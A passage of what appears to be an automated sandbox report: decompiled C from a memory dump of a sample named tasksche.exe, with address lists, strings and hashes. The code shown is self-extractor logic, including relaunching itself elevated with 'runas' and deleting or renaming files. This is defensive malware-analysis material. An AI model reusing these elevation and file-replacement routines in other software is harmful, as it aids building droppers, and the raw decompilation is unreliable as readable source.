							SendDlgItemMessageW(_t316, 0x6c, 0x172, 0, _t116); // executed
						}
						E0040DBC1(_t299, __eflags, _t325, _t316);
						_t118 = GetDlgItem(_t316, 0x68);
						 *(_t318 + 0x14) = _t118;
						SendMessageW(_t118, 0x435, 0, 0x400000);
						E00419C9B(_t318 - 0x1164, 0x800);
						 *(_t318 + 0x10) = GetDlgItem(_t316, 0x66);
						_t123 = 0x44187a;
						__eflags =  *0x44187a;
						if( *0x44187a == 0) {
							_t123 = _t318 - 0x1164;
						}
						SetWindowTextW( *(_t318 + 0x10), _t123);
						E00419CB2( *(_t318 + 0x10)); // executed
						_push(0x441858);
						_push(0x44184c);
						_push(0x439820);
						_push(_t316);
						 *0x441848 = 0; // executed
						E0040E75F(_t283, _t299, __eflags); // executed
						__eflags =  *0x441858;
						if( *0x441858 > 0) {
							_push(7);
							_push( *0x44184c);
							_push(_t316);
							E0040E857(_t316);
						}
						__eflags =  *0x44185c;
						if( *0x44185c != 0) {
							_t303 = 1;
							__eflags = 1;
						} else {
							SetDlgItemTextW(_t316, 0x6b, E0040C3BF(0xbf));
							_t154 = E0040C3BF(0xbe);
							_t303 = 1;
							SetDlgItemTextW(_t316, 1, _t154);
						}
						__eflags =  *0x441858;
						if( *0x441858 <= 0) {
							L103:
							__eflags =  *0x441848;
							if( *0x441848 != 0) {
								L114:
								__eflags =  *0x441874 - 2;
								if( *0x441874 == 2) {
									EnableWindow( *(_t318 + 0x10), 0);
								}
								__eflags =  *0x441870;
								if( *0x441870 != 0) {
									E004060AB(_t316, 0x67, 0);
									E004060AB(_t316, 0x66, 0);
								}
								_t127 =  *0x441874;
								__eflags = _t127;
								if(_t127 != 0) {
									__eflags =  *0x44183c;
									if( *0x44183c == 0) {
										_push(0);
										_push(_t303);
										_push(0x111);
										_push(_t316);
										__eflags = _t127 - _t303;
										if(_t127 != _t303) {
											PostMessageW();
										} else {
											SendMessageW(); // executed
										}
									}
								}
								__eflags =  *0x441832;
								if( *0x441832 != 0) {
									SetDlgItemTextW(_t316, _t303, E0040C3BF(0x90));
								}
								goto L125;
							}
							__eflags =  *0x441850;
							if( *0x441850 != 0) {
								goto L114;
							}
							__eflags =  *0x441874;
							if( *0x441874 != 0) {
								goto L114;
							}
							__eflags = 0;
							 *((short*)(_t318 - 0x9688)) = 0;
							 *(_t318 + 0xc) = 0xaa;
							do {
								__eflags =  *(_t318 + 0xc) - 0xaa;
								if( *(_t318 + 0xc) != 0xaa) {
									L109:
									__eflags =  *(_t318 + 0xc) - 0xab;
									if( *(_t318 + 0xc) != 0xab) {
										L111:
										E0041A7C9(_t318 - 0x9688, " ");
										E0041A7C9(_t318 - 0x9688, E0040C3BF( *(_t318 + 0xc)));
										goto L112;
									}
									__eflags =  *0x44185c;
									if( *0x44185c != 0) {
										goto L112;
									}
									goto L111;
								}
								__eflags =  *0x44185c;
								if( *0x44185c == 0) {
									goto L112;
								}
								goto L109;
								L112:
								 *(_t318 + 0xc) =  &( *(_t318 + 0xc)->i);
								__eflags =  *(_t318 + 0xc) - 0xb0;
							} while (__eflags <= 0);
							_t289 =  *0x438814; // 0x19fe80
							E00419A9D(_t289, __eflags,  *0x4335a4,  *(_t318 + 0x14), _t318 - 0x9688, 0, 0);
							_t303 = 1;
							__eflags = 1;
							goto L114;
						} else {
							_push(0);
							_push( *0x44184c);
							_push(_t316); // executed
							E0040E857(_t316); // executed
							_t145 =  *0x441850;
							__eflags = _t145;
							if(_t145 != 0) {
								__eflags =  *0x441874;
								if(__eflags == 0) {
									_t290 =  *0x438814; // 0x19fe80
									E00419A9D(_t290, __eflags,  *0x4335a4,  *(_t318 + 0x14), _t145, 0, 0);
									_push( *0x441850);
									E0041A506(0, _t303, _t316, __eflags);
								}
							}
							__eflags =  *0x441874 - _t303;
							if( *0x441874 == _t303) {
								L102:
								_push(_t303);
								_push( *0x44184c);
								_push(_t316);
								E0040E857(_t316);
								goto L103;
							} else {
								SetForegroundWindow(_t316);
								__eflags =  *0x441874 - _t303;
								if( *0x441874 == _t303) {
									goto L102;
								}
								__eflags =  *0x441879;
								if( *0x441879 != 0) {
									goto L102;
								}
								_t148 = DialogBoxParamW( *0x4335a4, L"LICENSEDLG", 0, E0040F47B, 0);
								__eflags = _t148;
								if(_t148 != 0) {
									goto L102;
								}
								 *0x44183c = 1;
								L101:
								EndDialog(_t316, _t303);
								L125:
								_t128 = _t303;
								L126:
								goto L127;
							}
						}
					}
					__eflags = _t114 != 1;
					if(_t114 != 1) {
						L7:
						_t128 = 0;
						goto L126;
					}
					_t161 = ( *(_t318 + 0x10) & 0x0000ffff) - 1;
					__eflags = _t161;
					if(_t161 == 0) {
						__eflags =  *0x44ef31;
						if( *0x44ef31 == 0) {
							_t308 = 0x800;
							GetDlgItemTextW(_t316, 0x66, _t318 - 0x2164, 0x800);
							__eflags =  *0x441833;
							if( *0x441833 == 0) {
								__eflags =  *0x441832;
								if( *0x441832 == 0) {
									_t164 = GetDlgItem(_t316, 0x68);
									 *(_t318 + 0xc) = _t164;
									__eflags =  *0x441838;
									if( *0x441838 == 0) {
										SendMessageW(_t164, 0xb1, 0, 0xffffffff);
										SendMessageW( *(_t318 + 0xc), 0xc2, 0, 0x42a73c);
										_t308 = 0x800;
									}
									SetFocus( *(_t318 + 0xc));
									__eflags =  *0x441870;
									if( *0x441870 == 0) {
										E00410B9C(_t318 - 0x1164, _t318 - 0x2164, _t308);
										E0040DD7E(_t318, _t318 - 0x1164, _t308);
										E0040BC16(_t318 - 0x3264, 0x880, E0040C3BF(0xb9), _t318 - 0x1164);
										_t320 = _t320 + 0x10;
										_t175 = _t318 - 0x3264;
									} else {
										_t175 = E0040C3BF(0xba);
									}
									E0040D298(0, _t175); // executed
									__eflags =  *0x441879;
									if( *0x441879 == 0) {
										E0040DA8C(_t316, _t318 - 0x2164); // executed
									}
									 *(_t318 + 0xf) = 0;
									_t178 = E0040935F(0, _t283, _t308, _t318 - 0x2164, 0); // executed
									__eflags = _t178;
									if(_t178 != 0) {
										L38:
										_t180 = E00419C88(_t318 - 0x2164);
										 *(_t318 + 0x13) = _t180;
										__eflags = _t180;
										if(_t180 == 0) {
											_t250 = GetLastError();
											__eflags = _t250 - 5;
											if(_t250 == 5) {
												 *(_t318 + 0xf) = 1;
											}
										}
										__eflags =  *0x441879;
										if( *0x441879 != 0) {
											L47:
											__eflags =  *(_t318 + 0x13);
											if( *(_t318 + 0x13) != 0) {
												_t303 = 1;
												 *0x441834 = 1;
												E004060C9(_t316, 0x67, 0);
												E004060C9(_t316, 0x66, 0);
												SetDlgItemTextW(_t316, 1, E0040C3BF(0xe6)); // executed
												E004060C9(_t316, 0x69, 1);
												SetDlgItemTextW(_t316, 0x65, 0x42a73c); // executed
												_t187 = GetDlgItem(_t316, 0x65);
												 *(_t318 + 0xc) = _t187;
												__eflags = _t187;
												if(_t187 != 0) {
													_t201 = GetWindowLongW(_t187, 0xfffffff0) | 0x00000080;
													__eflags = _t201;
													SetWindowLongW( *(_t318 + 0xc), 0xfffffff0, _t201);
												}
												_push(5);
												_push( *0x44184c);
												_push(_t316);
												E0040E857(_t316);
												_push(2);
												_push( *0x44184c);
												_push(_t316);
												E0040E857(_t316);
												_push(0x439820);
												_push(_t316);
												 *0x44ef31 = 1; // executed
												E0040E2D7(_t283, _t299, __eflags); // executed
												_push(6);
												_push( *0x44184c);
												 *0x44ef31 = 0;
												_push(_t316);
												E0040E857(_t316);
												__eflags =  *0x44183c;
												if( *0x44183c == 0) {
													__eflags =  *0x441838;
													if( *0x441838 == 0) {
														__eflags =  *0x441868;
														if( *0x441868 == 0) {
															_push(4);
															_push( *0x44184c);
															_push(_t316);
															E0040E857(_t316);
														}
													}
												}
												E004060AB(_t316, _t303, _t303);
												 *0x441834 = 0;
												L75:
												__eflags =  *0x441838;
												if( *0x441838 <= 0) {
													goto L101;
												}
												__eflags =  *0x44183c;
												if( *0x44183c != 0) {
													goto L101;
												}
												 *0x441833 = 1;
												SetDlgItemTextW(_t316, _t303, E0040C3BF(0x90));
												_t195 =  *0x4335ac; // 0x3
												__eflags = _t195 - 9;
												if(_t195 != 9) {
													__eflags = _t195 - 3;
													_t282 = ((_t195 != 0x00000003) - 0x00000001 & 0x0000000a) + 0x97;
													__eflags = ((_t195 != 0x00000003) - 0x00000001 & 0x0000000a) + 0x97;
												} else {
													_t282 = 0xa0;
												}
												_t196 = E0040C3BF(0x96);
												MessageBoxW(_t316, E0040C3BF(_t282), _t196, 0x30); // executed
												goto L125;
											}
											__eflags =  *0x441879;
											if( *0x441879 != 0) {
												 *(_t318 + 0xf) = 0;
											}
											goto L50;
										} else {
											__eflags =  *(_t318 + 0x13);
											if( *(_t318 + 0x13) == 0) {
												L50:
												__eflags =  *(_t318 + 0xf);
												 *(_t318 + 0xf) =  *(_t318 + 0xf) == 0;
												__eflags =  *(_t318 + 0xf);
												if( *(_t318 + 0xf) != 0) {
													L64:
													_push(E0040C3BF(0x9a));
													E0040BC16(_t318 - 0x4664, 0xa00, L"\"%s\"\n%s", _t318 - 0x2164);
													E004062BA(0x4335ac, 1);
													MessageBoxW(_t316, _t318 - 0x4664, E0040C3BF(0x96), 0x30);
													 *0x441838 =  *0x441838 + 1;
													__eflags =  *0x441838;
													L65:
													_push(0);
													L66:
													EndDialog(_t316, ??);
													goto L67;
												}
												GetModuleFileNameW(0, _t318 - 0x1164, 0x800);
												E0040CFFA(0x44387a, _t318 - 0x164, 0x80);
												_push(0x44287a);
												_push(_t318 - 0x164);
												E0040BC16(_t318 - 0x9ca0, 0x230c, L"-el -s2 \"-d%s\" \"-p%s\" \"-sp%s\"", _t318 - 0x2164);
												_t320 = _t320 + 0x18;
												 *((intOrPtr*)(_t318 - 0x38)) = _t318 - 0x1164;
												 *(_t318 - 0x48) = 0x3c;
												 *((intOrPtr*)(_t318 - 0x44)) = 0x40;
												 *(_t318 - 0x40) = _t316;
												 *((intOrPtr*)(_t318 - 0x3c)) = L"runas";
												 *((intOrPtr*)(_t318 - 0x34)) = _t318 - 0x9ca0;
												 *((intOrPtr*)(_t318 - 0x30)) = 0x42a664;
												 *(_t318 - 0x2c) = 1;
												 *((intOrPtr*)(_t318 - 0x28)) = 0;
												_t223 = CreateFileMappingW(0xffffffff, 0, 0x8000004, 0, 0x7002, L"winrarsfxmappingfile.tmp");
												 *(_t318 + 0x10) = _t223;
												__eflags = _t223;
												if(_t223 != 0) {
													 *0x43a820 = 0;
													_t235 = GetCommandLineW();
													__eflags = _t235;
													if(_t235 != 0) {
														E00410B9C(0x43a822, _t235, 0x2000);
													}
													E0040D212(0x44387a, 0x43e822, 7);
													E0040D212(0x44387a, 0x43f822, 2);
													E0040D212(0x44387a, 0x440822, 0x10);
													 *(_t318 + 0x14) = MapViewOfFile( *(_t318 + 0x10), 2, 0, 0, 0);
													E0041C290(0, 0x7002, _t316, _t239, 0x43a820, 0x7002);
													_t320 = _t320 + 0xc;
												}
												_t225 = ShellExecuteExW(_t318 - 0x48);
												E0040CFA3(_t318 - 0x164, 0x80);
												E0040CFA3(_t318 - 0x9ca0, 0x230c);
												__eflags = _t225;
												if(_t225 == 0) {
													 *(_t318 + 0xf) = 1;
													goto L61;
												} else {
													WaitForInputIdle( *(_t318 - 0x10), 0x2710);
													_t312 = 0;
													__eflags = 0;
													while(1) {
														__eflags =  *( *(_t318 + 0x14));
														if( *( *(_t318 + 0x14)) != 0) {
															break;
														}
														Sleep(0x64);
														_t312 = _t312 + 1;
														__eflags = _t312 - 0x64;
														if(_t312 < 0x64) {
															continue;
														}
														break;
													}
													 *0x441868 =  *(_t318 - 0x10);
													L61:
													__eflags =  *(_t318 + 0x10);
													if( *(_t318 + 0x10) != 0) {
														UnmapViewOfFile( *(_t318 + 0x14));
														CloseHandle( *(_t318 + 0x10));
													}
													__eflags =  *(_t318 + 0xf);
													if( *(_t318 + 0xf) == 0) {
														goto L65;
													} else {
														goto L64;
													}
												}
											}
											E0040BC16(_t318 - 0x1164, _t308, L"__tmp_rar_sfx_access_check_%u", GetTickCount());
											_t320 = _t320 + 0x10;
											E00408786(_t318 - 0x5688);
											 *(_t318 - 4) = 0;
											_t247 = E00408923(_t318 - 0x5688, _t318 - 0x1164, 0x11); // executed
											 *(_t318 + 0x13) = _t247;
											__eflags = _t247;
											if(_t247 == 0) {
												_t249 = GetLastError();
												__eflags = _t249 - 5;
												if(_t249 == 5) {
													 *(_t318 + 0xf) = 1;
												}
											}
											_t42 = _t318 - 4;
											 *_t42 =  *(_t318 - 4) | 0xffffffff;
											__eflags =  *_t42;
											_t283 = _t318 - 0x5688;
											E00408C7D(0, _t318 - 0x5688);
											goto L47;
										}
									} else {
										_t251 = GetLastError();
										__eflags = _t251 - 5;
										if(_t251 == 5) {
											L37:
											 *(_t318 + 0xf) = 1;
											goto L38;
										}
										__eflags = _t251 - 3;
										if(_t251 != 3) {
											goto L38;
										}
										goto L37;
									}
								}
								 *0x44183c = 1;
								_t303 = 1;
								goto L75;
							}
							__eflags =  *0x441832;
							if( *0x441832 != 0) {
								 *0x44183c = 1;
							}
							_push(1);
							goto L66;
						} else {
							__eflags =  *0x44ef30;
							_t256 = _t161 & 0xffffff00 |  *0x44ef30 == 0x00000000;
							__eflags = _t256;
							 *0x44ef30 = _t256;
							SetDlgItemTextW(_t316, 1, E0040C3BF((0 | _t256 != 0x00000000) + 0xe6));
							while(1) {
								__eflags =  *0x44ef30;
								if( *0x44ef30 == 0) {
									break;
								}
								__eflags =  *0x44183c;
								if( *0x44183c != 0) {
									break;
								}
								_t260 = GetMessageW(_t318 - 0x64, 0, 0, 0);
								__eflags = _t260;
								if(_t260 == 0) {
									break;
								} else {
									_t262 = IsDialogMessageW(_t316, _t318 - 0x64);
									__eflags = _t262;
									if(_t262 == 0) {
										TranslateMessage(_t318 - 0x64);
										DispatchMessageW(_t318 - 0x64);
									}
									continue;
								}
							}
							L67:
							_t128 = 1;
							goto L126;
						}
					}
					_t267 = _t161 - 1;
					__eflags = _t267;
					if(_t267 == 0) {
						 *0x44183c = 1;
						__eflags =  *0x441834;
						if( *0x441834 == 0) {
							goto L65;
						}
						__eflags =  *0x441838;
						if( *0x441838 != 0) {
							goto L67;
						} else {
							goto L65;
						}
					}
					__eflags = _t267 == 0x65;
					if(_t267 == 0x65) {
						_t271 = E004050E8(_t316, E0040C3BF(0x64), _t318 - 0x1164); // executed
						__eflags = _t271;
						if(_t271 != 0) {
							SetDlgItemTextW(_t316, 0x66, _t318 - 0x1164); // executed
						}
						goto L67;
					}
					goto L7;
				} else {
					_t128 = 1;
					L127:
					 *[fs:0x0] =  *((intOrPtr*)(_t318 - 0xc));
					return _t128;
				}
			}

0x0040f58d
0x0040f58d
0x0040f58d
0x0040f592
0x0040f59c
0x0040f5a3
0x0040f5b9
0x0040f5c0
0x0040f5cd
0x0040f5cd
0x0040f5d3
0x0040fc0e
0x0040fc13
0x0040fc19
0x0040fc1f
0x0040fc21
0x0040fc2c
0x0040fc2c
0x0040fc32
0x0040fc37
0x0040fc39
0x0040fc45
0x0040fc45
0x0040fc4c
0x0040fc5a
0x0040fc68
0x0040fc6b
0x0040fc7d
0x0040fc87
0x0040fc8a
0x0040fc8f
0x0040fc96
0x0040fc98
0x0040fc98
0x0040fca2
0x0040fcab
0x0040fcb0
0x0040fcb5
0x0040fcba
0x0040fcbf
0x0040fcc0
0x0040fcc6
0x0040fccb
0x0040fcd1
0x0040fcd3
0x0040fcd5
0x0040fcdb
0x0040fcdc
0x0040fcdc
0x0040fce1
0x0040fce7
0x0040fd17
0x0040fd17
0x0040fce9
0x0040fcf7
0x0040fd02
0x0040fd0a
0x0040fd0d
0x0040fd0d
0x0040fd18
0x0040fd1e
0x0040fdc1
0x0040fdc1
0x0040fdc7
0x0040fe6a
0x0040fe6a
0x0040fe71
0x0040fe77
0x0040fe77
0x0040fe7d
0x0040fe83
0x0040fe89
0x0040fe92
0x0040fe92
0x0040fe97
0x0040fe9c
0x0040fe9e
0x0040fea0
0x0040fea6
0x0040fea8
0x0040fea9
0x0040feaa
0x0040feaf
0x0040feb0
0x0040feb2
0x0040febc
0x0040feb4
0x0040feb4
0x0040feb4
0x0040feb2
0x0040fea6
0x0040fec2
0x0040fec8
0x0040fed7
0x0040fed7
0x00000000
0x0040fec8
0x0040fdcd
0x0040fdd3
0x00000000
0x00000000
0x0040fdd9
0x0040fddf
0x00000000
0x00000000
0x0040fde5
0x0040fdec
0x0040fdf3
0x0040fdf6
0x0040fdf6
0x0040fdf9
0x0040fe03
0x0040fe03
0x0040fe0a
0x0040fe14
0x0040fe20
0x0040fe37
0x00000000
0x0040fe3d
0x0040fe0c
0x0040fe12
0x00000000
0x00000000
0x00000000
0x0040fe12
0x0040fdfb
0x0040fe01
0x00000000
0x00000000
0x00000000
0x0040fe3e
0x0040fe3e
0x0040fe41
0x0040fe41
0x0040fe4a
0x0040fe62
0x0040fe69
0x0040fe69
0x00000000
0x0040fd24
0x0040fd24
0x0040fd25
0x0040fd2b
0x0040fd2c
0x0040fd31
0x0040fd36
0x0040fd38
0x0040fd3a
0x0040fd40
0x0040fd42
0x0040fd54
0x0040fd59
0x0040fd5f
0x0040fd64
0x0040fd40
0x0040fd65
0x0040fd6b
0x0040fdb4
0x0040fdb4
0x0040fdb5
0x0040fdbb
0x0040fdbc
0x00000000
0x0040fd6d
0x0040fd6e
0x0040fd74
0x0040fd7a
0x00000000
0x00000000
0x0040fd7c
0x0040fd82
0x00000000
0x00000000
0x0040fd96
0x0040fd9c
0x0040fd9e
0x00000000
0x00000000
0x0040fda0
0x0040fda7
0x0040fda9
0x0040fedd
0x0040fedd
0x0040fedf
0x00000000
0x0040fedf
0x0040fd6b
0x0040fd1e
0x0040f5d9
0x0040f5da
0x0040f5eb
0x0040f5eb
0x00000000
0x0040f5eb
0x0040f5e0
0x0040f5e0
0x0040f5e1
0x0040f648
0x0040f64e
0x0040f6ce
0x0040f6de
0x0040f6e4
0x0040f6ea
0x0040f702
0x0040f708
0x0040f71c
0x0040f722
0x0040f725
0x0040f72b
0x0040f73c
0x0040f74c
0x0040f74e
0x0040f74e
0x0040f756
0x0040f75c
0x0040f762
0x0040f77f
0x0040f78c
0x0040f7af
0x0040f7b4
0x0040f7b7
0x0040f764
0x0040f769
0x0040f769
0x0040f7bf
0x0040f7c4
0x0040f7ca
0x0040f7d3
0x0040f7d3
0x0040f7e0
0x0040f7e3
0x0040f7e8
0x0040f7ea
0x0040f800
0x0040f807
0x0040f80c
0x0040f80f
0x0040f811
0x0040f813
0x0040f819
0x0040f81c
0x0040f81e
0x0040f81e
0x0040f81c
0x0040f822
0x0040f828
0x0040f892
0x0040f892
0x0040f895
0x0040fab9
0x0040fabb
0x0040fac1
0x0040faca
0x0040fadc
0x0040fae6
0x0040faf3
0x0040fafc
0x0040fb02
0x0040fb05
0x0040fb07
0x0040fb12
0x0040fb12
0x0040fb1d
0x0040fb1d
0x0040fb23
0x0040fb25
0x0040fb2b
0x0040fb2c
0x0040fb31
0x0040fb33
0x0040fb39
0x0040fb3a
0x0040fb3f
0x0040fb44
0x0040fb45
0x0040fb4c
0x0040fb51
0x0040fb53
0x0040fb59
0x0040fb5f
0x0040fb60
0x0040fb65
0x0040fb6b
0x0040fb6d
0x0040fb73
0x0040fb75
0x0040fb7b
0x0040fb7d
0x0040fb7f
0x0040fb85
0x0040fb86
0x0040fb86
0x0040fb7b
0x0040fb73
0x0040fb8e
0x0040fb93
0x0040fb99
0x0040fb99
0x0040fb9f
0x00000000
0x00000000
0x0040fba5
0x0040fbab
0x00000000
0x00000000
0x0040fbb6
0x0040fbc5
0x0040fbcb
0x0040fbd0
0x0040fbd3
0x0040fbde
0x0040fbe8
0x0040fbe8
0x0040fbd5
0x0040fbd5
0x0040fbd5
0x0040fbf5
0x0040fc03
0x00000000
0x0040fc03
0x0040f89b
0x0040f8a1
0x0040f8a3
0x0040f8a3
0x00000000
0x0040f82a
0x0040f82a
0x0040f82d
0x0040f8a6
0x0040f8a6
0x0040f8a9
0x0040f8ad
0x0040f8b0
0x0040fa4c
0x0040fa56
0x0040fa6f
0x0040fa7e
0x0040fa98
0x0040fa9e
0x0040fa9e
0x0040faa4
0x0040faa4
0x0040faa5
0x0040faa6
0x00000000
0x0040faa6
0x0040f8c3
0x0040f8da
0x0040f8df
0x0040f8ea
0x0040f903
0x0040f908
0x0040f922
0x0040f92e
0x0040f935
0x0040f93c
0x0040f93f
0x0040f946
0x0040f949
0x0040f950
0x0040f957
0x0040f95a
0x0040f960
0x0040f963
0x0040f965
0x0040f967
0x0040f96d
0x0040f973
0x0040f975
0x0040f982
0x0040f982
0x0040f98e
0x0040f99a
0x0040f9a6
0x0040f9c0
0x0040f9c3
0x0040f9c8
0x0040f9c8
0x0040f9cf
0x0040f9e3
0x0040f9f4
0x0040f9f9
0x0040f9fb
0x0040fa2c
0x00000000
0x0040f9fd
0x0040fa05
0x0040fa0b
0x0040fa0b
0x0040fa0d
0x0040fa10
0x0040fa12
0x00000000
0x00000000
0x0040fa16
0x0040fa1c
0x0040fa1d
0x0040fa20
0x00000000
0x00000000
0x00000000
0x0040fa20
0x0040fa25
0x0040fa30
0x0040fa30
0x0040fa33
0x0040fa38
0x0040fa41
0x0040fa41
0x0040fa47
0x0040fa4a
0x00000000
0x00000000
0x00000000
0x00000000
0x0040fa4a
0x0040f9fb
0x0040f843
0x0040f848
0x0040f851
0x0040f865
0x0040f868
0x0040f86d
0x0040f870
0x0040f872
0x0040f874
0x0040f87a
0x0040f87d
0x0040f87f
0x0040f87f
0x0040f87d
0x0040f883
0x0040f883
0x0040f883
0x0040f887
0x0040f88d
0x00000000
0x0040f88d
0x0040f7ec
0x0040f7ec
0x0040f7f2
0x0040f7f5
0x0040f7fc
0x0040f7fc
0x00000000
0x0040f7fc
0x0040f7f7
0x0040f7fa
0x00000000
0x00000000
0x00000000
0x0040f7fa
0x0040f7ea
0x0040f70c
0x0040f713
0x00000000
0x0040f713
0x0040f6ec
0x0040f6f2
0x0040f6f4
0x0040f6f4
0x0040f6fb
0x00000000
0x0040f650
0x0040f650
0x0040f656
0x0040f65b
0x0040f660
0x0040f675
0x0040f6c1
0x0040f6c1
0x0040f6c7
0x0040f6c9
0x0040f6c9
0x0040f67d
0x0040f683
0x00000000
0x00000000
0x0040f690
0x0040f696
0x0040f698
0x00000000
0x0040f69e
0x0040f6a3
0x0040f6a9
0x0040f6ab
0x0040f6b1
0x0040f6bb
0x0040f6bb
0x00000000
0x0040f6ab
0x0040f698
0x0040faac
0x0040faae
0x00000000
0x0040faae
0x0040f64e
0x0040f5e3
0x0040f5e3
0x0040f5e4
0x0040f624
0x0040f62b
0x0040f631
0x00000000
0x00000000
0x0040f637
0x0040f63d
0x00000000
0x0040f643
0x00000000
0x0040f643
0x0040f63d
0x0040f5e6
0x0040f5e9
0x0040f602
0x0040f607
0x0040f609
0x0040f619
0x0040f619
0x00000000
0x0040f609
0x00000000
0x0040f5c2
0x0040f5c4
0x0040fee0
0x0040fee5
0x0040feed
0x0040feed

APIs

__EH_prolog.LIBCMT ref: 0040F592

Strings

LICENSEDLG, xrefs: 0040FD8B
@, xrefs: 0040F935
winrarsfxmappingfile.tmp, xrefs: 0040F90B
"%s"%s, xrefs: 0040FA5E
__tmp_rar_sfx_access_check_%u, xrefs: 0040F836
-el -s2 "-d%s" "-p%s" "-sp%s", xrefs: 0040F8F2
z8D, xrefs: 0040F8D5
STARTDLG, xrefs: 0040F5AA
<, xrefs: 0040F92E

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog
String ID: "%s"%s$-el -s2 "-d%s" "-p%s" "-sp%s"$<$@$LICENSEDLG$STARTDLG$__tmp_rar_sfx_access_check_%u$winrarsfxmappingfile.tmp$z8D
API String ID: 3519838083-129321368
Opcode ID: d5c99f85f86543ea3ebed7eb2e2905cf4c60dfa9abb58ceeac9b75b9585566a8
Instruction ID: cc4c1e380d3e9e53cf766c3de9df5bd6880f95cbde9f973ccf433d51db550174
Opcode Fuzzy Hash: d5c99f85f86543ea3ebed7eb2e2905cf4c60dfa9abb58ceeac9b75b9585566a8
Instruction Fuzzy Hash: C732C371540248BFEB31BF619C85E9B3A68EB06304F44407BF901B61E2DB794999CB6E

Uniqueness

Uniqueness Score: -1.00%

Function 0040E857 Relevance: 73.9, APIs: 35, Strings: 7, Instructions: 411
windowfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 78%

			E0040E857(void* __esi) {
				intOrPtr _t271;
				void* _t274;
				void* _t349;
				short* _t352;
				void* _t354;

				E0041A4DC(E004297C6, _t354);
				_t271 = E0041AAF0(0x1bc84);
				if( *((intOrPtr*)(_t354 + 0xc)) == 0) {
					L165:
					 *[fs:0x0] =  *((intOrPtr*)(_t354 - 0xc));
					return _t271;
				}
				_t271 = E0040D781(_t354 - 0x11, _t354 - 0xec90, __esi,  *((intOrPtr*)(_t354 + 0xc)), _t354 - 0x4440, _t354 + 0xf, 0x1000);
				 *((intOrPtr*)(_t354 + 0xc)) = _t271;
				if(_t271 != 0) {
					_push(__esi);
					do {
						_t349 = GetFileAttributesW;
						_t336 = _t354 - 0x1bc90;
						_t352 = 0x438818;
						_t274 = _t354 - 0x4440;
						 *(_t354 - 0x10) = _t354 - 0x1bc90;
						 *((intOrPtr*)(_t354 - 0x18)) = 6;
						goto L4;
						L6:
						while(E00411E60(_t354 - 0xec90,  *((intOrPtr*)(0x430100 +  *(_t354 - 0x10) * 4))) != 0) {
							 *(_t354 - 0x10) =  *(_t354 - 0x10) + 1;
							if( *(_t354 - 0x10) < 0xe) {
								continue;
							} else {
								goto L163;
							}
						}
						if( *(_t354 - 0x10) > 0xd) {
							goto L163;
						}
						switch( *((intOrPtr*)( *(_t354 - 0x10) * 4 +  &M0040F443))) {
							case 0:
								__eflags =  *((intOrPtr*)(_t354 + 0x10)) - 2;
								if( *((intOrPtr*)(_t354 + 0x10)) != 2) {
									goto L163;
								}
								E00419C9B(_t354 - 0x8c90, 0x800);
								E0040A146(_t354 - 0x8c90, _t354 - 0x4440, _t354 - 0xfc90, 0x800);
								E00409433(_t354 - 0x7c90);
								 *(_t354 - 4) =  *(_t354 - 4) & 0x00000000;
								E0040945C(_t354 - 0x7c90, _t354 - 0xfc90);
								E004067E1(_t354 - 0x5c88);
								_push(0);
								_t292 = E0040960E(_t354 - 0x7c90, _t347, _t354 - 0x5c88);
								__eflags = _t292;
								if(_t292 == 0) {
									L27:
									 *(_t354 - 4) =  *(_t354 - 4) | 0xffffffff;
									E00409449(_t354 - 0x7c90);
									goto L163;
								} else {
									_t352 = L"%s.%d.tmp";
									do {
										SetFileAttributesW(_t354 - 0x5c88, 0);
										__eflags =  *((char*)(_t354 - 0x4c7c));
										if(__eflags == 0) {
											L19:
											_t297 = GetFileAttributesW(_t354 - 0x5c88);
											__eflags = _t297 - 0xffffffff;
											if(_t297 == 0xffffffff) {
												goto L26;
											}
											_t301 = DeleteFileW(_t354 - 0x5c88);
											__eflags = _t301;
											if(_t301 != 0) {
												goto L26;
											} else {
												 *(_t354 - 0x10) =  *(_t354 - 0x10) & _t301;
												_push(_t301);
												goto L23;
												L23:
												E0040BC16(_t354 - 0x1040, 0x800, _t352, _t354 - 0x5c88);
												_t356 = _t356 + 0x14;
												_t306 = GetFileAttributesW(_t354 - 0x1040);
												__eflags = _t306 - 0xffffffff;
												if(_t306 != 0xffffffff) {
													_t67 = _t354 - 0x10;
													 *_t67 =  *(_t354 - 0x10) + 1;
													__eflags =  *_t67;
													_push( *(_t354 - 0x10));
													goto L23;
												} else {
													_t309 = MoveFileW(_t354 - 0x5c88, _t354 - 0x1040);
													__eflags = _t309;
													if(_t309 != 0) {
														MoveFileExW(_t354 - 0x1040, 0, 4);
													}
													goto L26;
												}
											}
										}
										E0040AA7D(__eflags, _t354 - 0x8c90, _t354 - 0x1040, 0x800);
										E0040A116(__eflags, _t354 - 0x1040, 0x800);
										_t318 = E0041A7AF(_t354 - 0x8c90);
										 *((intOrPtr*)(_t354 - 0x18)) = _t318;
										__eflags = _t318 - 4;
										if(_t318 < 4) {
											L17:
											_t320 = E0040A0A4(_t354 - 0x4440);
											__eflags = _t320;
											if(_t320 != 0) {
												goto L27;
											}
											L18:
											_t322 = E0041A7AF(_t354 - 0x5c88);
											__eflags = 0;
											 *((short*)(_t354 + _t322 * 2 - 0x5c86)) = 0;
											E0041A820(_t349, _t354 - 0x40, 0, 0x1e);
											_t356 = _t356 + 0x10;
											_push(0x14);
											_pop(_t325);
											 *((short*)(_t354 - 0x30)) = _t325;
											 *((intOrPtr*)(_t354 - 0x38)) = _t354 - 0x5c88;
											 *((intOrPtr*)(_t354 - 0x3c)) = 3;
											SHFileOperationW(_t354 - 0x40);
											goto L19;
										}
										_t330 = E0041A7AF(_t354 - 0x1040);
										__eflags =  *((intOrPtr*)(_t354 - 0x18)) - _t330;
